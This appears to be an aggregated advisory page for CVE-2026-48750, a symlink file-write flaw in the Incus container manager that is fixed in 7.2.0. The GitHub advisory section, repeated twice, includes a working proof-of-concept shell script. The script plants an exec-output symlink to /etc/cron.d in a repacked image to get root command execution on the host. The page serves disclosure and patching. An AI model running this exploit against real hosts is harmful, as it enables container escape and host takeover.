Incus has an arbitrary file write on host via `exec-output` symlink in crafted image
cve-program · CVE-2026-48750
PublishedIncus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.
Read the publisher's advisoryeuvd · EUVD-2026-63977
PublishedIncus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.
Read the publisher's advisorynvd · CVE-2026-48750
PublishedIncus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.
Read the publisher's advisoryosv · GHSA-73hr-m85f-64v9
Published### Summary The `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. ### Details When an image is unpacked, top-level symlinks are extracted as is; allowing for `exec-output` to be placed on disk. In `instance_exec.go`, `os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows the `exec-output` symlink. ### PoC Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on the host for arbitrary command execution. ``` #!/bin/sh # usage: $0 existing-imagefp set -eu basefp="${1}" die() { printf '%s' "${@}" >&2 exit 1 } command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n' tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP # insert exec-output symlink incus image export "${basefp}" "${tmpdir}/img" mkdir "${tmpdir}/repack" cd "${tmpdir}/repack" xz -cd "${tmpdir}/img" | tar -f- -vx rm -rf exec-output ln -s /etc/cron.d exec-output tar -f- -c * | gzip -c9 >"${tmpdir}/img" cd - >/dev/null incus image import "${tmpdir}"/img* --alias afw-exec-output # Launch container, exec with record-output via REST API incus launch afw-exec-output afw-exec-output incus wait afw-exec-output ip OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \ -X POST -H 'Content-Type: application/json' \ -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \ "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])") curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null #find /etc/cron.d/exec_* -exec cat {} \; ``` ### Impact Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.
Read the publisher's advisoryosv · GO-2026-5801
PublishedIncus has an arbitrary file write on host via `exec-output` symlink in crafted image in github.com/lxc/incus
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
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cve-program · CVE-2026-48750
PublishedIncus has an arbitrary file write on host via `exec-output` symlink in crafted image
Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.
- Source published
- 21 Aug 2026 14:19:45 UTC
- Source modified
- 5 Nov 2026 23:50:24 UTC
- Saved here
- 6 Nov 2026 01:36:41 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
euvd · EUVD-2026-63977
PublishedIncus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec…
Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 21, 2026, 2:19:45 PM
dateUpdated: Nov 5, 2026, 11:50:24 PM
1 related source bulletins · separate from aliases
openSUSE-SU-2026:11651-1: incus-7.4-1.1 on GA media
CVE-2026-39402 · CVE-2026-47753 · CVE-2026-48749 · CVE-2026-48750 · CVE-2026-48751 · CVE-2026-48752 · CVE-2026-48753 · CVE-2026-48754 · CVE-2026-48755 · CVE-2026-48756 · CVE-2026-48769 · CVE-2026-55621 · CVE-2026-55622 · CVE-2026-62313 · CVE-2026-62867 · CVE-2026-62940 · CVE-2026-62941 · CVE-2026-63125 · CVE-2026-63343 · CVE-2026-81500 · CVE-2026-81501
- Source published
- Aug 21, 2026, 2:19:45 PM (timezone not stated)
- Source modified
- Nov 5, 2026, 11:50:24 PM (timezone not stated)
- Saved here
- 15 Nov 2026 14:51:01 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
nvd · CVE-2026-48750
PublishedIncus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec…
Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-73
Original publisher date fields
published: 2026-08-21T15:16:40.390
lastModified: 2026-11-06T01:17:49.330
- Source published
- 21 Aug 2026 15:16:40 UTC
- Source modified
- 6 Nov 2026 01:17:49 UTC
- Saved here
- 6 Nov 2026 15:03:32 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
osv · GHSA-73hr-m85f-64v9
PublishedIncus has an arbitrary file write on host via `exec-output` symlink in crafted image
### Summary The `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. ### Details When an image is unpacked, top-level symlinks are extracted as is; allowing for `exec-output` to be placed on disk. In `instance_exec.go`, `os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows the `exec-output` symlink. ### PoC Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on the host for arbitrary command execution. ``` #!/bin/sh # usage: $0 existing-imagefp set -eu basefp="${1}" die() { printf '%s' "${@}" >&2 exit 1 } command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n' tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP # insert exec-output symlink incus image export "${basefp}" "${tmpdir}/img" mkdir "${tmpdir}/repack" cd "${tmpdir}/repack" xz -cd "${tmpdir}/img" | tar -f- -vx rm -rf exec-output ln -s /etc/cron.d exec-output tar -f- -c * | gzip -c9 >"${tmpdir}/img" cd - >/dev/null incus image import "${tmpdir}"/img* --alias afw-exec-output # Launch container, exec with record-output via REST API incus launch afw-exec-output afw-exec-output incus wait afw-exec-output ip OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \ -X POST -H 'Content-Type: application/json' \ -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \ "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])") curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null #find /etc/cron.d/exec_* -exec cat {} \; ``` ### Impact Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.
- Source published
- 26 Jun 2026 18:32:52 UTC
- Source modified
- 6 Nov 2026 10:57:01 UTC
- Saved here
- 6 Nov 2026 11:13:14 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Publisher rating · CRITICAL
osv · GO-2026-5801
PublishedIncus has an arbitrary file write on host via `exec-output` symlink in crafted image in github.com/lxc/incus
Incus has an arbitrary file write on host via `exec-output` symlink in crafted image in github.com/lxc/incus
- Source published
- 7 Jul 2026 16:41:46 UTC
- Source modified
- 7 Jul 2026 20:30:15 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.